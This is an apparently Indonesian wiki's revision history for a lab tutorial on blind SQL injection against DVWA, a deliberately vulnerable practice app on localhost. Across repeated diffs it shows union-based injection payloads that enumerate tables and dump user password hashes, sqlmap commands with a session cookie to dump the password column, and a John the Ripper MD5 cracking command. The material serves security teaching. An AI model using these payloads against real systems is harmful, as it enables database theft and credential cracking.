DVWA: SQLi blind - Revision history

Onnowpurbo at 00:51, 4 March 2017

2017-03-04T00:51:19Z

← Older revision		Revision as of 00:51, 4 March 2017
Line 1:		Line 1:
	DVWA-BLIND SQL INJECTION : LOW Level		DVWA-BLIND SQL INJECTION : LOW Level

	~~1. Open Local host~~ http://localhost/~~dvwa~~		* Buka DVWA, misalnya http://localhost/DVWA-1.9

	Username : Admin		Username : Admin
	Password : Password		Password : Password

	~~3.Select~~ SQL Injection BLIND ~~and column~~ ID ~~issued~~		* Pilih SQL Injection BLIND dan dalam kolom ID masukan

	1' and 1=1#		1' and 1=1#
	1' and 1=1 order by 2 #		1' and 1=1 order by 2 #
			ID: 'or' 1=1--

	5~~.ID: 'or' 1=1--~~		Kita akan lihat ada 5 user

	~~we can see there are 5 user~~		* Melihat informasi table

	~~5. now see information~~ table

	1' and 1=0 union select null,table_name from information_schema.tables#		1' and 1=0 union select null,table_name from information_schema.tables#
	1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #		1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #

	~~7. Information~~ table name ~~from~~ table user		* Melihat informasi table name dari table user

	1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'' #		1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'' #

	~~8. on the last lets see user name and~~ password		* Terakhir lihat username dan password

	1' and 1=0 union select null,concat(first_name,0x0a,password) from users #		1' and 1=0 union select null,concat(first_name,0x0a,password) from users #

	~~9. we will crack the~~ md5 password		* Crack md5 password

	~~copy the passowrd into kwrite and save with name hash~~
	~~next~~

			copy hasil password hash yang diperoleh, save misalnya dengan nama hash

	~~root@bt:/pentest/passwords/john#./john --format=raw-md5 hash~~		Lakukan

			root@bt:/pentest/passwords/john#./john --format=raw-md5 hash

	~~OK GOOD LUCK~~

	==Exploit DVWA menggunakan SQLmap==		==Exploit DVWA menggunakan SQLmap==

Onnowpurbo: /* Exploit DVWA menggunakan SQLmap */

2017-03-04T00:45:49Z

Exploit DVWA menggunakan SQLmap

← Older revision		Revision as of 00:45, 4 March 2017
Line 64:		Line 64:

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump


	==Referensi==		==Referensi==

	* http://scxo1oc06c.blogspot.co.id/2012/02/dvwa-blind-sql-injection-low-level.html		* http://scxo1oc06c.blogspot.co.id/2012/02/dvwa-blind-sql-injection-low-level.html

Onnowpurbo at 00:45, 4 March 2017

2017-03-04T00:45:24Z

← Older revision		Revision as of 00:45, 4 March 2017
Line 39:		Line 39:
	OK GOOD LUCK		OK GOOD LUCK

	~~Ok next lesson .. I will explain How to~~ Exploit DVWA ~~using Sqlmap.~~		==Exploit DVWA menggunakan SQLmap==

	~~1. afer login in~~ DVWA ~~and choose~~ DVWA ~~Securty~~ Low		* Login ke DVWA
	~~2. follow this picture~~		* Pilih DVWA Security Low
			* Pada user ID tulis '1
	~~In User~~ ID ~~write~~ '1		* Jalankan addon tamer di browser
			* Lakukan di terminal,
	~~than show~~

	Lakukan di terminal,

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns
Line 56:		Line 53:
	di peroleh dari addon tamer di browser.		di peroleh dari addon tamer di browser.

	lihat tables		* lihat tables

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables

	lihat kolom di user tabel		* lihat kolom di user tabel


	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

	lihat field password & dump		* lihat field password & dump

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump

Onnowpurbo at 00:43, 4 March 2017

2017-03-04T00:43:09Z

← Older revision		Revision as of 00:43, 4 March 2017
Line 50:		Line 50:
	Lakukan di terminal,		Lakukan di terminal,

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns
	PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

	--> "security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="		--> "security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="
Line 59:		Line 58:
	lihat tables		lihat tables

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables
	PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables

	lihat kolom di user tabel		lihat kolom di user tabel


	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns
	PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

	lihat field password & dump		lihat field password & dump

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump
	PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump

Onnowpurbo at 00:42, 4 March 2017

2017-03-04T00:42:10Z

← Older revision		Revision as of 00:42, 4 March 2017
Line 6:		Line 6:
	Password : Password		Password : Password

	3.Select SQL Injection BLIND and column ID issued ~~1' and 1=1#~~		3.Select SQL Injection BLIND and column ID issued

			1' and 1=1#
	1' and 1=1 order by 2 #		1' and 1=1 order by 2 #

Line 17:		Line 18:

	1' and 1=0 union select null,table_name from information_schema.tables#		1' and 1=0 union select null,table_name from information_schema.tables#
			1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #
	~~6..~~1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #

	7. Information table name from table user		7. Information table name from table user
Line 48:		Line 48:
	than show		than show

	~~we have an error and my conclusion that this is sql injection~~, ~~not blind.~~		Lakukan di terminal,

	~~3. copy url and open your console~~

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns




	--> "security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;
	~~we get this information by tamer data ini browser's tools~~		PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

	~~4. Now Looking for Database tables~~		--> "security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="

	~~root@bt:/pentest/database/sqlmap#~~ .~~/sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables~~		di peroleh dari addon tamer di browser.

			lihat tables

	5. ~~netx search User's Table~~		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;
			PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables

	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns		lihat kolom di user tabel


	~~6. Look at field password.. we will dump it~~		root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;
			PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns
	root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -~~C password~~ --~~dump~~


	~~OK GOOD LUCK~~

			lihat field password & dump

			root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;
			PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump

Onnowpurbo at 12:46, 3 March 2017

2017-03-03T12:46:08Z

← Older revision		Revision as of 12:46, 3 March 2017
Line 1:		Line 1:
	DVWA-BLIND SQL INJECTION : LOW Level		DVWA-BLIND SQL INJECTION : LOW Level

	1. Open Local host http://localhost/dvwa		1. Open Local host http://localhost/dvwa
	~~Username : Admin~~
	~~Password : Password~~

	2.		Username : Admin
			Password : Password

	3.Select SQL Injection BLIND and column ID issued 1' and 1=1#		3.Select SQL Injection BLIND and column ID issued 1' and 1=1#

	4. 1' and 1=1 order by 2 #		1' and 1=1 order by 2 #

	5.ID: 'or' 1=1--		5.ID: 'or' 1=1--

	we can see there are 5 user		we can see there are 5 user

	5. now see information table		5. now see information table
	1' and 1=0 union select null,table_name from information_schema.tables#
			1' and 1=0 union select null,table_name from information_schema.tables#

	6..1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #		6..1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #

	7. Information table name from table user		7. Information table name from table user
	1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'' #
			1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'' #

	8. on the last lets see user name and password		8. on the last lets see user name and password
	1' and 1=0 union select null,concat(first_name,0x0a,password) from users #
			1' and 1=0 union select null,concat(first_name,0x0a,password) from users #

	9. we will crack the md5 password		9. we will crack the md5 password
	copy the passowrd into kwrite and save with name hash
	next		copy the passowrd into kwrite and save with name hash
			next


	root@bt:/pentest/passwords/john#./john --format=raw-md5 hash		root@bt:/pentest/passwords/john#./john --format=raw-md5 hash


Line 37:		Line 43:
	1. afer login in DVWA and choose DVWA Securty Low		1. afer login in DVWA and choose DVWA Securty Low
	2. follow this picture		2. follow this picture
	In User ID write '1
			In User ID write '1

	than show		than show

Onnowpurbo: Created page with " DVWA-BLIND SQL INJECTION : LOW Level 1. Open Local host http://localhost/dvwa Username : Admin Password : Password 2. 3.Select SQL Injection BLIND and column ID issued..."

2017-03-02T14:25:44Z

Created page with " DVWA-BLIND SQL INJECTION : LOW Level 1. Open Local host http://localhost/dvwa Username : Admin Password : Password 2. 3.Select SQL Injection BLIND and column ID issued..."

New page

DVWA-BLIND SQL INJECTION : LOW Level
1. Open Local host http://localhost/dvwa
Username : Admin
Password : Password

2.

3.Select SQL Injection BLIND and column ID issued 1' and 1=1#

4. 1' and 1=1 order by 2 #

5.ID: 'or' 1=1--
we can see there are 5 user

5. now see information table
1' and 1=0 union select null,table_name from information_schema.tables#

6..1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #

7. Information table name from table user
1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'' #
8. on the last lets see user name and password
1' and 1=0 union select null,concat(first_name,0x0a,password) from users #

9. we will crack the md5 password
copy the passowrd into kwrite and save with name hash
next

root@bt:/pentest/passwords/john#./john --format=raw-md5 hash

OK GOOD LUCK

Ok next lesson .. I will explain How to Exploit DVWA using Sqlmap.

1. afer login in DVWA and choose DVWA Securty Low
2. follow this picture
In User ID write '1

than show

we have an error and my conclusion that this is sql injection, not blind.

3. copy url and open your console

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

--> "security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="
we get this information by tamer data ini browser's tools

4. Now Looking for Database tables

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables

5. netx search User's Table

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

6. Look at field password.. we will dump it

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump

OK GOOD LUCK

==Referensi==

* http://scxo1oc06c.blogspot.co.id/2012/02/dvwa-blind-sql-injection-low-level.html